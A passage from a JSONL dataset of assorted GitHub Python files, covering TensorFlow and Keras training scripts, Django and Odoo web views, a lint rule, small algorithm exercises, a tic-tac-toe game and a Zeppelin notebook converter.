text2mod=text2mod.lower()\n text2mod=text2mod.replace(\"
\", \" \")\n #for character in string.punctuation:\n # test2mod = text2mod.replace(character, '')\n text2mod=text2mod.translate(str.maketrans('', '', string.punctuation))\n textmodarray.append(text2mod)\n i = i+1\n #print(textmodarray)\n print(newlabelarray)\n #textmodarray=np.expand_dims(np.array(textmodarray), axis=1)\n textmodarray=np.array(textmodarray)\n print(textmodarray.shape)\n #textmodarray=vectorize_layer(textmodarray)\n newdataset = tf.data.Dataset.from_tensor_slices((textmodarray,np.array(newlabelarray)))\t\n if wordvector==\"none\":\n return newdataset\n else:\n def vectorize_text(text, label):\n text = tf.expand_dims(text, -1)\n label = tf.expand_dims(label, -1)\n return vectorize_layer(text), label\n \n print(textmodarray[9:10])\n print(vectorize_layer(textmodarray[9:10]))\n \n int_ds = newdataset.map(vectorize_text)\n return int_ds\n\ntrainingds=transformdata(raw_train_ds)\n\nvectorize_layer = TextVectorization(\n max_tokens=10000,\n output_mode=\"int\",\n output_sequence_length=250,\n)\n\nprint(trainingds)\n\nds=trainingds.map(lambda data,label: data) \n\nvectorize_layer.adapt(ds)\n\ntrainingdsint=transformdata(raw_train_ds,vectorize_layer)\nvaldsint=transformdata(raw_val_ds,vectorize_layer)\nprint(vectorize_layer.get_vocabulary())\n\nmodel = tf.keras.Sequential([\ntf.keras.layers.Embedding(10001, 32),\ntf.keras.layers.Dropout(0.2),\ntf.keras.layers.Dense(32),\ntf.keras.layers.GlobalAveragePooling1D(),\ntf.keras.layers.Dropout(0.2),\ntf.keras.layers.Dense(10),\ntf.keras.layers.Dense(1, activation=\"sigmoid\")\n])\n\nmodel.summary()\n\nmodel.compile(\n optimizer=tf.keras.optimizers.Adam(),\n #loss=tf.losses.SparseCategoricalCrossentropy(from_logits=True),\n loss=tf.losses.BinaryCrossentropy(from_logits=False),\n #metrics=['accuracy'])\n metrics=tf.metrics.BinaryAccuracy(threshold=0.5))\n\nearly_stopping_callback = tf.keras.callbacks.EarlyStopping(patience=1000)\nbest_checkpoint_callback = tf.keras.callbacks.ModelCheckpoint(\"mnist_model.tf\", save_best_only=True)\nlearningratecallbackchange=tf.keras.callbacks.LearningRateScheduler(lambda epoch: 0.01 * 1.02 ** epoch)\n\nfittingdiagram=model.fit(\n trainingdsint,\n validation_data=valdsint,\n epochs=100,\n callbacks=[early_stopping_callback, learningratecallbackchange])\n #best_checkpoint_callback\n","repo_name":"moggs2/textprocessing_tensorflow_numpy.py","sub_path":"textprocessing_tensorflow_numpy.py","file_name":"textprocessing_tensorflow_numpy.py","file_ext":"py","file_size_in_byte":3751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"16678489","text":"from django.shortcuts import render, get_object_or_404\nfrom django.http import JsonResponse, HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.generic import ListView\nfrom .models import Post, Main, Child\nfrom .forms import ContactForm, LoginForm, UserRegistrationForm, UserEditForm, ChildEditForm, PostForm\nfrom django.core.mail import send_mail\n\n\nclass MainView(ListView):\n queryset = Main.objects.all()\n # queryset = Main.published.all()\n context_object_name = 'mains'\n template_name = \"blog/post/main.html\"\n\n\nclass PostView(ListView):\n queryset = Post.published.all()\n context_object_name = 'posts'\n # paginate_by = 3\n template_name = \"blog/post/list.html\"\n\n\ndef post_detail(request, year, month, day, post):\n post = get_object_or_404(Post, slug=post,\n status='published',\n publish__year=year,\n publish__month=month,\n publish__day=day\n )\n return render(request, 'blog/post/detail.html', {\"post\": post})\n\n\ndef contact(request):\n sent = False\n if request.method == \"POST\":\n form = ContactForm(request.POST)\n if form.is_valid():\n cd = form.cleaned_data\n send_mail(subject=cd['topic'], message=cd['message'], from_email=[cd['email']], recipient_list=['admin@wp.pl'])\n sent = True\n else:\n form = ContactForm()\n return render(request, \"blog/post/contact.html\", {\"contact_form\": form,\n \"sent\": sent})\n\n\ndef register(request):\n if request.method == \"POST\":\n reg_form = UserRegistrationForm(request.POST)\n if reg_form.is_valid():\n new_user = reg_form.save(commit=False)\n new_user.set_password(reg_form.cleaned_data['password'])\n new_user.save()\n Child.objects.create(id_name=new_user,\n # first_name=new_user.first_name,\n # last_name=reg_form.cleaned_data['last_name'],\n email=reg_form.cleaned_data['email'])\n return render(request, \"registration/register_done.html\", {\"new_user\": new_user})\n else:\n reg_form = UserRegistrationForm\n return render(request, \"registration/register.html\", {\"reg_form\": reg_form})\n\n\n@login_required\ndef edit(request):\n if request.method == \"POST\":\n userform = UserEditForm(instance=request.user, data=request.POST)\n childform = ChildEditForm(instance=request.user.child, data=request.POST, files=request.FILES)\n if userform.is_valid() and childform.is_valid():\n userform.save()\n childform.save()\n email = userform.cleaned_data['email']\n first_name = userform.cleaned_data['first_name']\n last_name = userform.cleaned_data['last_name']\n Child.objects.filter(id_name=request.user.id).update(email=email,\n first_name=first_name,\n last_name=last_name)\n\n else:\n userform = UserEditForm(instance=request.user)\n childform = ChildEditForm(instance=request.user.child)\n\n return render(request, \"registration/edit.html\", {\"userform\": userform, \"childform\": childform})\n\n\n@login_required\ndef add_post(request):\n if request.method == \"POST\":\n\n post_form = PostForm(request.POST)\n post_form.author = request.user\n if post_form.is_valid():\n Post.objects.create(title=post_form.cleaned_data['title'],\n body=post_form.cleaned_data['body'],\n comments=post_form.cleaned_data['comments'],\n author=request.user)\n\n else:\n post_form = PostForm()\n\n return render(request, \"blog/post/add_post.html\", {\"post_form\": post_form})","repo_name":"igor9211/sfera","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"25656787233","text":"#\n#/usr/bin/env python\n# coding: utf-8\n\n\nimport tensorflow as tf\nimport numpy as np\nimport os\nfrom keras.regularizers import l2\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.optimizers import Adam\nfrom keras import backend as K\nimport datetime\nimport sys\nsys.path.insert(0,'../utils')\nfrom utils import get_model_metrics\nfrom model_configs import get_config\nfrom train import run_training\n\nconfig_name = 'feed_forward'\nconfig = get_config(config_name)\n\npath_to_trainset = '../training_windows/label_model_windows/'\nX_trainval = np.load(path_to_trainset + 'X_trainval_npm_{}_rnm_{}.npy'.format(config.near_pos_multiple, config.rand_neg_multiple)) \n__, w, f = X_trainval.shape\ninput_dim = w*f\n\ndef build_model(config):\n print(config.hidden_layers, config.l2_reg) \n model = Sequential()\n if len(config.hidden_layers) > 0:\n model.add(Dense(config.hidden_layers[0], input_dim=input_dim, kernel_regularizer=l2(config.l2_reg)))\n if config.batch_norm:\n model.add(BatchNormalization())\n model.add(Activation(config.activation))\n for n in config.hidden_layers[1:]:\n model.add(Dense(n))\n if config.batch_norm:\n model.add(BatchNormalization())\n model.add(Activation(config.activation))\n model.add(Dense(1))\n else:\n model.add(Dense(1, input_dim = input_dim, kernel_regularizer=l2(config.l2_reg)))\n model.add(Activation(config.output_activation))\n\n model.compile(optimizer=config.optimizer,\n loss=config.loss,\n metrics=config.metrics)\n K.set_value(model.optimizer.lr, config.learning_rate)\n\n return model\n\nnum_trainings = 20 #used for model hyperparameter searching\nfor __ in range(num_trainings):\n config = get_config(config_name) #randomly initialized config for hyperparameter search\n model = build_model(config)\n model.summary()\n run_training(model, config)\n if not config.hyper_search:\n break\n\n","repo_name":"valdivia4/Deep-Learning-Lunge-Detection","sub_path":"train/feed_forward_model.py","file_name":"feed_forward_model.py","file_ext":"py","file_size_in_byte":2068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"35306780421","text":"# -*- coding: utf-8 -*-\nimport werkzeug\n\nfrom odoo import http\nfrom odoo.http import request\n\n\nclass WebsiteOpenStore(http.Controller):\n @http.route(['/open-store'], type='http', auth='public', website=True)\n def open_store(self, **kw):\n env = request.env\n param = 'accessToken'\n\n # If accessToken and it's the first time\n if param in kw and env['ir.config_parameter'].sudo().get_param('store_is_open', '') == '0':\n ResUsers = env['res.users']\n # Get DigitalTown OAuth user info with the accessToken\n validation = ResUsers.request_oauth_user_info(kw[param])\n if validation:\n # Get DigitalTown OAuth provider\n digitaltown = env['auth.oauth.provider'].get_digitaltown_oauth_provider()\n if digitaltown:\n params = {'access_token': kw[param]}\n user = ResUsers.sudo().search([('id', '=', env.ref('smart_shop_common.res_users_client').id)],\n limit=1)\n # Update user info\n ResUsers.update_oauth_user_info(user[0], digitaltown.id, validation, params)\n # Update first time flag\n env['ir.config_parameter'].sudo().set_param('store_is_open', '1')\n\n # Commit changes, if the authenticate fails, the user is still updated/created\n env.cr.commit()\n\n # Authenticate user\n request.session.authenticate(env.cr.dbname, validation['email'], kw[param])\n\n return werkzeug.utils.redirect('/')\n","repo_name":"asim-sajjad-intagleo/odoo-10","sub_path":"addons/smart_shop_client/controllers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"72837682615","text":"import py_stringmatching as sm\nimport numpy as np\nimport pandas as pd\n\n# create a Jaccard similarity measure object\njac = sm.Jaccard()\n# create a whitespace tokenizer\nws_tok = sm.WhitespaceTokenizer()\n\n\n# Test if the string is approximately present using jaccard similarity score\ndef jac_in(string1, string_arr, thres):\n for string2 in string_arr:\n if jac_similar(string1, string2, thres):\n return True\n return False\n\n# Estimate equality based on jaccard similarity score and return true if similar\ndef jac_similar(string1, string2, thres):\n if string1 is None or string2 is None \\\n or string1 is np.nan or string2 is np.nan \\\n or pd.isnull(string1) \\\n or pd.isnull(string2):\n return False\n\n tok1 = ws_tok.tokenize(string1)\n tok2 = ws_tok.tokenize(string2)\n \n tok1_len = len(tok1)\n tok2_len = len(tok2)\n \n # Exit if the nomber of tokens is too dissimilar\n if ((tok1_len * thres > tok2_len) or (tok1_len * 1/thres < tok2_len)):\n return False\n \n return jac.get_sim_score(tok1, tok2) >= thres\n\n# Returns a string from the array if it roughly matches the first argument\ndef jac_trans(string1, string_arr, thres):\n for string2 in string_arr:\n if jac_similar(string1, string2, thres):\n return string2\n return None\n\n# Creates a dictionary to map a dataframe's director names to the names in the acclaimed directors file\ndef map_directors(dir_df, to_df, other_name = \"director_name\"):\n dir_names = dir_df[\"name\"]\n other_names = to_df[other_name].unique()\n \n dir_map_o2d = {}\n dir_map_d2o = {}\n \n for name in dir_names:\n # Perform a jaccard similarity score test and put it in the map if it pases\n trans = jac_trans(name, other_names, 0.8)\n if trans is not None:\n dir_map_o2d[trans] = name\n dir_map_d2o[name] = trans\n \n return dir_map_d2o, dir_map_o2d,","repo_name":"leoclo/dse-203","sub_path":"src/core/director_jaccard.py","file_name":"director_jaccard.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"27645905127","text":"from typing import Union\n\nimport libcst as cst\nfrom fixit import CstLintRule\nfrom fixit import InvalidTestCase as Invalid\nfrom fixit import ValidTestCase as Valid\n\nMESSAGE: str = \"Please provide descriptive name for the {nodetype}: `{nodename}`\"\n\n\nclass RequireDescriptiveNameRule(CstLintRule):\n VALID = [\n Valid(\n \"\"\"\n class DescriptiveName:\n pass\n \"\"\"\n ),\n Valid(\n \"\"\"\n class ThisClass:\n def this_method(self):\n pass\n \"\"\"\n ),\n Valid(\n \"\"\"\n def descriptive_function():\n pass\n \"\"\"\n ),\n Valid(\n \"\"\"\n def function(descriptive, parameter):\n pass\n \"\"\"\n ),\n ]\n\n INVALID = [\n Invalid(\n \"\"\"\n class T:\n pass\n \"\"\"\n ),\n Invalid(\n \"\"\"\n class ThisClass:\n def m(self):\n pass\n \"\"\"\n ),\n Invalid(\n \"\"\"\n def f():\n pass\n \"\"\"\n ),\n Invalid(\n \"\"\"\n def fun(a):\n pass\n \"\"\"\n ),\n ]\n\n def visit_ClassDef(self, node: cst.ClassDef) -> None:\n self._validate_name_length(node, \"class\")\n\n def visit_FunctionDef(self, node: cst.FunctionDef) -> None:\n self._validate_name_length(node, \"function\")\n\n def visit_Param(self, node: cst.Param) -> None:\n self._validate_name_length(node, \"parameter\")\n\n def _validate_name_length(\n self, node: Union[cst.ClassDef, cst.FunctionDef, cst.Param], nodetype: str\n ) -> None:\n nodename = node.name.value\n if len(nodename) == 1:\n self.report(\n node, message=MESSAGE.format(nodetype=nodetype, nodename=nodename)\n )\n","repo_name":"TheAlgorithms/algorithms-keeper","sub_path":"algorithms_keeper/parser/rules/require_descriptive_name.py","file_name":"require_descriptive_name.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","stars":130,"dataset":"github-code","pt":"22"} +{"seq_id":"74929374774","text":"# 14888번: 연산자 끼워넣기\nfrom itertools import permutations\n\nN = int(input())\ndatas = list(map(int, input().split()))\npNum, sNum, mNum, dNum = list(map(int, input().split()))\noperator = ['p'] * pNum + ['s'] * sNum + ['m'] * mNum + ['d'] * dNum\n\nmaxResult = -10000000000\nminResult = 10000000000\n\nfor op in list(permutations(operator, N-1)):\n tmp = datas[0]\n for i in range(N-1):\n if op[i] == 'p':\n tmp+=datas[i+1]\n elif op[i] == 's':\n tmp-=datas[i+1]\n elif op[i] == 'm':\n tmp*=datas[i+1]\n elif op[i] == 'd':\n minusFlag = False\n if tmp < 0:\n minusFlag = True\n tmp = -tmp\n \n tmp //= datas[i+1]\n if minusFlag: tmp = -tmp\n \n maxResult = max( maxResult, tmp )\n minResult = min( minResult, tmp ) \nprint(maxResult)\nprint(minResult)","repo_name":"Leewongi0731/DailyCodeTest","sub_path":"[백준 실버1] 14888번.py","file_name":"[백준 실버1] 14888번.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"21128465521","text":"\"\"\"Composer AJAX admin views\n\"\"\"\nimport json\n\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom django.http.response import HttpResponse, HttpResponseBadRequest\nfrom django.urls import reverse_lazy\nfrom django.utils.html import escape\n\nfrom core_main_app.commons import exceptions\nfrom core_main_app.components.template.api import (\n init_template_with_dependencies,\n)\nfrom core_main_app.views.admin.ajax import (\n _get_xsd_content_from_html,\n _get_dependencies_dict,\n)\nfrom core_main_app.views.common.ajax import EditObjectModalView\nfrom core_composer_app.components.bucket import api as bucket_api\nfrom core_composer_app.components.bucket.models import Bucket\nfrom core_composer_app.components.type.models import Type\nfrom core_composer_app.components.type_version_manager import (\n api as type_version_manager_api,\n)\nfrom core_composer_app.components.type_version_manager.models import (\n TypeVersionManager,\n)\nfrom core_composer_app.views.admin.forms import EditBucketForm\n\n\n@staff_member_required\ndef delete_bucket(request):\n \"\"\"Delete a bucket.\n\n Args:\n request:\n\n Returns:\n\n \"\"\"\n try:\n bucket_id = request.POST[\"bucket_id\"]\n\n bucket = bucket_api.get_by_id(bucket_id)\n bucket_api.delete(bucket)\n except Exception as exception:\n return HttpResponseBadRequest(escape(str(exception)))\n\n return HttpResponse(json.dumps({}), content_type=\"application/javascript\")\n\n\n@staff_member_required\ndef resolve_dependencies(request):\n \"\"\"Resolve import/includes to avoid local references.\n\n Args:\n request:\n\n Returns:\n\n \"\"\"\n try:\n # Get the parameters\n name = request.POST.get(\"name\", None)\n version_manager_id = request.POST.get(\"version_manager_id\", \"\")\n filename = request.POST[\"filename\"]\n xsd_content = request.POST[\"xsd_content\"]\n schema_locations = request.POST.getlist(\"schemaLocations[]\")\n dependencies = request.POST.getlist(\"dependencies[]\")\n buckets = request.POST.getlist(\"buckets[]\")\n\n # create new object\n type_object = Type(\n filename=filename, content=_get_xsd_content_from_html(xsd_content)\n )\n init_template_with_dependencies(\n type_object,\n _get_dependencies_dict(schema_locations, dependencies),\n request=request,\n )\n\n # get the version manager or create a new one\n if version_manager_id != \"\":\n type_version_manager = type_version_manager_api.get_by_id(\n version_manager_id, request=request\n )\n else:\n type_version_manager = TypeVersionManager(title=name)\n type_version_manager_api.insert(\n type_version_manager,\n type_object,\n request=request,\n list_bucket_ids=buckets,\n )\n except Exception as exception:\n return HttpResponseBadRequest(\n escape(str(exception)), content_type=\"application/javascript\"\n )\n\n return HttpResponse(json.dumps({}), content_type=\"application/javascript\")\n\n\nclass EditBucketView(EditObjectModalView):\n \"\"\"Edit Bucket View\"\"\"\n\n form_class = EditBucketForm\n model = Bucket\n success_url = reverse_lazy(\"core-admin:core_composer_app_buckets\")\n success_message = \"Label edited with success.\"\n\n def _save(self, form):\n \"\"\"_save\n\n Args:\n form\n\n Returns:\n \"\"\"\n # Save treatment.\n try:\n self.object.label = form.cleaned_data.get(\"label\")\n bucket_api.upsert(self.object)\n except exceptions.NotUniqueError:\n form.add_error(\n None,\n \"A bucket with the same label already exists. Please choose another label.\",\n )\n except Exception as exception:\n form.add_error(None, str(exception))\n","repo_name":"usnistgov/core_composer_app","sub_path":"core_composer_app/views/admin/ajax.py","file_name":"ajax.py","file_ext":"py","file_size_in_byte":3892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"3468317025","text":"from typing import Iterable, Optional\nfrom spinn_utilities.overrides import overrides\nfrom spinnman.messages.scp import SCPRequestHeader\nfrom spinnman.messages.scp.abstract_messages import AbstractSCPRequest\nfrom spinnman.messages.scp.enums import SCPCommand\nfrom spinnman.messages.sdp import SDPFlag, SDPHeader\nfrom .check_ok_response import CheckOKResponse\n\n_NNP_FORWARD_RETRY = (0x3f << 8) | 0x1A\n_NNP_FLOOD_FILL_END = 15\n_WAIT_FLAG = 0x1 << 18\n\n\nclass FloodFillEnd(AbstractSCPRequest[CheckOKResponse]):\n \"\"\"\n A request to start a flood fill of data.\n \"\"\"\n __slots__ = ()\n\n def __init__(\n self, nearest_neighbour_id: int, app_id: int = 0,\n processors: Optional[Iterable[int]] = None, wait: bool = False):\n \"\"\"\n\n :param int nearest_neighbour_id:\n The ID of the packet, between 0 and 127\n :param int app_id: The application ID to start using the data, between\n 16 and 255. If not specified, no application is started\n :param list(int) processors:\n A list of processors on which to start the application, each\n between 1 and 17. If not specified, no application is started.\n :param bool wait:\n True if the binary should go into a \"wait\" state before executing\n \"\"\"\n processor_mask = 0\n if processors is not None:\n for processor in processors:\n processor_mask |= (1 << processor)\n\n key = (_NNP_FLOOD_FILL_END << 24) | nearest_neighbour_id\n data = (app_id << 24) | processor_mask\n if wait:\n data = data | _WAIT_FLAG\n\n super().__init__(\n SDPHeader(flags=SDPFlag.REPLY_EXPECTED, destination_port=0,\n destination_cpu=0,\n destination_chip_x=self.DEFAULT_DEST_X_COORD,\n destination_chip_y=self.DEFAULT_DEST_Y_COORD),\n SCPRequestHeader(command=SCPCommand.CMD_NNP),\n argument_1=key, argument_2=data, argument_3=_NNP_FORWARD_RETRY)\n\n @overrides(AbstractSCPRequest.get_scp_response)\n def get_scp_response(self) -> CheckOKResponse:\n return CheckOKResponse(\"Flood Fill\", \"CMD_NNP:NNP_FFS\")\n","repo_name":"SpiNNakerManchester/SpiNNMan","sub_path":"spinnman/messages/scp/impl/flood_fill_end.py","file_name":"flood_fill_end.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"} +{"seq_id":"10926317727","text":"from random import choice, randint\nimport time\nimport sys\n\nboard=[['.','.','.'],['.','.','.'],['.','.','.']]\npositions = [(x, y) for x in [0, 1, 2] for y in [0, 1, 2]]\nplayerPeg = ['X', 'O']\n\ndef printBoard(board):\n\tprint(\"\\n\\nBOARD\")\n\tprint(\"-\"*10)\n\tfor row in board:\n\t\tfor cell in row:\n\t\t\tprint(cell, end=' ')\n\t\tprint()\n\tprint(\"-\"*10)\n\ndef playPlayer(playerID):\n\tif len(positions) < 1:\n\t\treturn\n\tposition = choice(positions)\n\tpositions.remove(position)\n\tboard[position[0]][position[1]] = playerPeg[playerID]\n\ndef didPlayerWin(playerID):\n\t# Check rows\n\tfor row in board:\n\t\tcount = 0\n\t\tfor cell in row:\n\t\t\tif cell==playerPeg[playerID]:\n\t\t\t\tcount+=1\n\t\tif count==3:\n\t\t\t# print(\"Row win\")\n\t\t\treturn True\n\n\t# Check cols\n\tfor i in range(3):\n\t\tcount = 0\n\t\tfor j in range(3):\n\t\t\tif board[j][i]==playerPeg[playerID]:\n\t\t\t\tcount+=1\n\t\tif count==3:\n\t\t\t# print(\"Col win\")\n\t\t\treturn True\n\n\t# Check left diag\n\tcount=0\n\tfor i in range(3):\n\t\tif board[i][i]==playerPeg[playerID]:\n\t\t\tcount+=1\n\t\tif count==3:\n\t\t\t# print(\"LD win\")\n\t\t\treturn True\n\n\t# Check right diag\n\tcount=0\n\tfor i in range(3):\n\t\tif board[i][2-i]==playerPeg[playerID]:\n\t\t\tcount+=1\n\t\tif count==3:\n\t\t\t# print(\"RD win\")\n\t\t\treturn True\n\treturn False\n\n\nif __name__=='__main__':\n\tcurrentPlayer = 0\n\tprintBoard(board)\n\twhile len(positions) > 0:\n\t\tprint(\"Current player: AI\", playerPeg[currentPlayer], end='')\n\t\tdots = 0\n\t\twhile dots<3:\n\t\t\tdots+=1\n\t\t\tsys.stdout.write('.')\n\t\t\tsys.stdout.flush()\n\t\t\ttime.sleep(randint(3, 8)/10)\n\t\tplayPlayer(currentPlayer)\n\t\tprintBoard(board)\n\t\tif didPlayerWin(currentPlayer):\n\t\t\ttime.sleep(1)\n\t\t\tprint(\"Player\", playerPeg[currentPlayer],\"wins!\")\n\t\t\texit(0)\n\t\tcurrentPlayer = 1 - currentPlayer\n\n\tprintBoard(board)\n\ttime.sleep(1)\n\tif didPlayerWin(0):\n\t\tprint(\"Player\", playerPeg[0],\"wins!\")\n\telif didPlayerWin(1):\n\t\tprint(\"Player\", playerPeg[1],\"wins!\")\n\telse:\n\t\tprint(\"DRAW\")\n\n\n","repo_name":"shreyanshsaha/tictactoe-AI","sub_path":"tictacRandom.py","file_name":"tictacRandom.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"25125770554","text":"# 회전 초밥\nimport sys\n\n# [A] 입력 함수 초기화\ndef input():\n return sys.stdin.readline().rstrip('\\n')\n\n# [main]\nif __name__ == '__main__':\n N, d, k, c = map(int, input().split())\n plates = [int(input()) for _ in range(N)]\n\n # 초기 세팅\n sushi = [0] * (d + 1)\n total = 0\n p1, p2 = 0, k - 1\n for i in range(k):\n if sushi[plates[i]] == 0:\n total += 1\n sushi[plates[i]] += 1\n\n # 투 포인터\n answer = total\n while p1 < N:\n sushi[plates[p1]] -= 1\n if sushi[plates[p1]] == 0:\n total -= 1\n p1 += 1\n p2 = (p2 + 1) % N\n sushi[plates[p2]] += 1\n if sushi[plates[p2]] == 1:\n total += 1\n answer = max(answer, total if sushi[c] else total + 1)\n\n print(answer)","repo_name":"wolfy916/Algorithm","sub_path":"Algorithm_Solution/baekj/bk_15961.py","file_name":"bk_15961.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"28766384274","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n'''更改当前文件夹下sample.ini的内容'''\nimport sys,ConfigParser\ncf = ConfigParser.ConfigParser()\ncf.read('sample.ini')\n#获取配置段\nsection = sys.argv[1]\n#配置名\nkey = sys.argv[2]\n#配置值\nvalue = sys.argv[3]\n#k = cf.get(section,key)\n#设置及写入配置文件\ncf.set(section,key,value)\ncf.write(open('sample.ini','w'))\n","repo_name":"apuppy/python","sub_path":"Configparser/simple.py","file_name":"simple.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"29181101576","text":"from os.path import join\n\n# PATHS\n\nPROJECT_PATH = \"..\"\n\nTOP_PLACES_DIR = join(PROJECT_PATH, \"data/top_places\")\nTOP_PLACES_PATH = join(TOP_PLACES_DIR, \"top_places_{}.txt\")\n\nPHOTOS_PATH = \"photos/{}/\"\n\nLOCATIONS_FILE_DIR = join(PROJECT_PATH, PHOTOS_PATH)\nLOCATIONS_FILE_PATH = join(LOCATIONS_FILE_DIR, \"loc_info.csv\")\n\nADDRESSES_DIR = join(PROJECT_PATH, 'data/addresses')\nADDRESSES_PATH = join(ADDRESSES_DIR, 'addresses_{}.csv')\n\nSETTINGS_FILE = \"notebooks_settings.json\"\n\nFACES_FILE_DIR = join(PROJECT_PATH, \"data/faces\")\nFACES_FILE_PATH = join(FACES_FILE_DIR, \"faces_{}.json\")\n\nWIKI_FILE_DIR = join(PROJECT_PATH, \"data/wiki\")\nWIKI_FILE_PATH = join(WIKI_FILE_DIR, \"wiki_located_items_{}.csv\")\n\nSCENES_DIR = join(PROJECT_PATH, \"data/scenes\")\nSCENES_PATH = join(SCENES_DIR, \"scenes_{}.json\")\n\n# NOTEBOOK\n\nTOKEN_FILE = \"mapbox.token\"\nMAPBOX_TOKEN = open(TOKEN_FILE, \"r\").readlines()[0]\n\nN_AREAS_VISUALIZED = 5\nN_STREETS_VISUALIZED = 20\nOTHER_LABEL = \"Other\"\n\nTOP_AREAS_N = 10\nTOP_STREETS_N = 100\n\nSELECTED_TAGS = ['library/indoor', 'restaurant', 'street', 'bar',\n 'discotheque', 'promenade', 'museum/indoor', 'art_gallery',\n 'bridge', 'dressing_room', 'picnic_area', 'beer_hall',\n 'skyscraper', 'bookstore', 'closet', 'television_studio',\n 'stadium/soccer', 'pub/indoor', 'industrial_area', 'art_studio',\n 'lawn', 'highway', 'coffee_shop', 'booth/indoor', 'martial_arts_gym',\n 'church/indoor', 'fountain', 'delicatessen', 'florist_shop/indoor', 'sushi_bar']\n\nN_SCENES = len(SELECTED_TAGS)\n\nN_STREETS = 20\nN_SKIP = 0\nTOP_STREETS_VIS = 20\nMAX_HOVER_LEN = 25\n\nAREA_KEY = 'area'\nSTREET_KEY = 'route'\n","repo_name":"pskryuchkov/voyage","sub_path":"notebooks/voyage/consts.py","file_name":"consts.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"22"} +{"seq_id":"36852438193","text":"import numpy as np\r\n#import h5py\r\nimport matplotlib.pyplot as plt\r\nfrom linearActivationForward import linearActivationForward\r\n\r\ndef L_model_forward(X, parameters):\r\n\tcaches = []\r\n\tA = X\r\n\tL = len(parameters)//2\r\n\tfor l in range(1,L):\r\n\t\tA_prev = A\r\n\t\tA, cache = linearActivationForward(A_prev,parameters['W'+str(l)],parameters['b'+str(l)],\"relu\")\r\n\t\tcaches.append(cache)\r\n\t\t#print(l)\r\n\t\r\n\tAL, cache = linearActivationForward(A,parameters['W'+str(L)],parameters['b'+str(L)],\"sigmoid\")\r\n\tcaches.append(cache)\r\n\t\r\n\treturn AL, caches","repo_name":"Atom-101/Python_Neural_Network","sub_path":"L_model_forward.py","file_name":"L_model_forward.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"24906102374","text":"import logging\nfrom os.path import dirname\nfrom zeppelinto.config import config\nfrom zeppelinto.znotebook import ZeppelinNotebook\nfrom zeppelinto.znotebook import JupyterNotebook\n\n\nclass ZeppelinConverter:\n \"\"\"\n Convert a Zeppelin Notebook into Python or Jupyter notebooks\n \"\"\"\n\n def __init__(self, notebook=None):\n self.notebook = notebook\n\n @staticmethod\n def _clean_cell(text: str, ignore_interpreter_binding: bool = False) -> str:\n \"\"\"\n Clean a Cell\n\n Args:\n text: The cell text\n ignore_interpreter_binding: Whether to ignore interpreter binding\n\n Returns:\n The cleaned text\n \"\"\"\n if \"%pyspark\" in text:\n if not ignore_interpreter_binding:\n text = text.replace(\"%pyspark\", config.PYSPARK_CONTEXT_INIT, 1)\n else:\n text = text.replace(\"%pyspark\", \"\", 1)\n\n return text\n\n def load_notebook(self, notebook: str) -> None:\n \"\"\"\n Load a notebook given its path into memory into a Notebook instance\n\n Args:\n notebook: The notebook path\n \"\"\"\n try:\n with open(notebook, encoding=\"utf-8-sig\") as notebook_file:\n self.notebook = ZeppelinNotebook(data=notebook_file)\n except Exception as e:\n logging.error(f\"Exception encountered while loading notebook: {str(e)}\")\n if config.DEBUG:\n logging.debug(e)\n\n def to_python(self, name: str = None) -> str:\n \"\"\"\n Converts the notebook into a Python file\n\n Args:\n name: The name of the Python file\n\n Returns:\n The file name of the new Python file\n \"\"\"\n output = \"#!/usr/bin/python\\n\"\n\n if not self.notebook:\n logging.error(\"No notebook loaded. Unable to convert to Python\")\n return \"\"\n\n if not name:\n name = (\n self.notebook.name + \".py\"\n if self.notebook.name\n else config.DEFAULT_PY_NAME\n )\n\n counter = 0\n\n for cell in self.notebook.paragraphs:\n if cell.get(\"text\"):\n if counter > 0:\n output += self._clean_cell(\n cell[\"text\"], ignore_interpreter_binding=True\n )\n else:\n output += self._clean_cell(cell[\"text\"])\n counter += 1\n\n try:\n if not name.endswith(\".py\"):\n name = config.DEFAULT_OUTPUT_DIR + name + \".py\"\n else:\n name = config.DEFAULT_OUTPUT_DIR + name\n\n with open(name, \"wt\") as py_file:\n py_file.write(output)\n except Exception as e:\n logging.error(f\"Exception encountered while writing Python file: {str(e)}\")\n if config.DEBUG:\n logging.debug(e)\n\n if config.DEBUG:\n logging.debug(f\"Python Code:\\n {output}\")\n\n return name\n\n def to_jupyter_notebook(self, name: str = None) -> str:\n \"\"\"\n Converts a Zeppelin Notebook to a Jupyter notebook\n\n Args:\n name: The name of 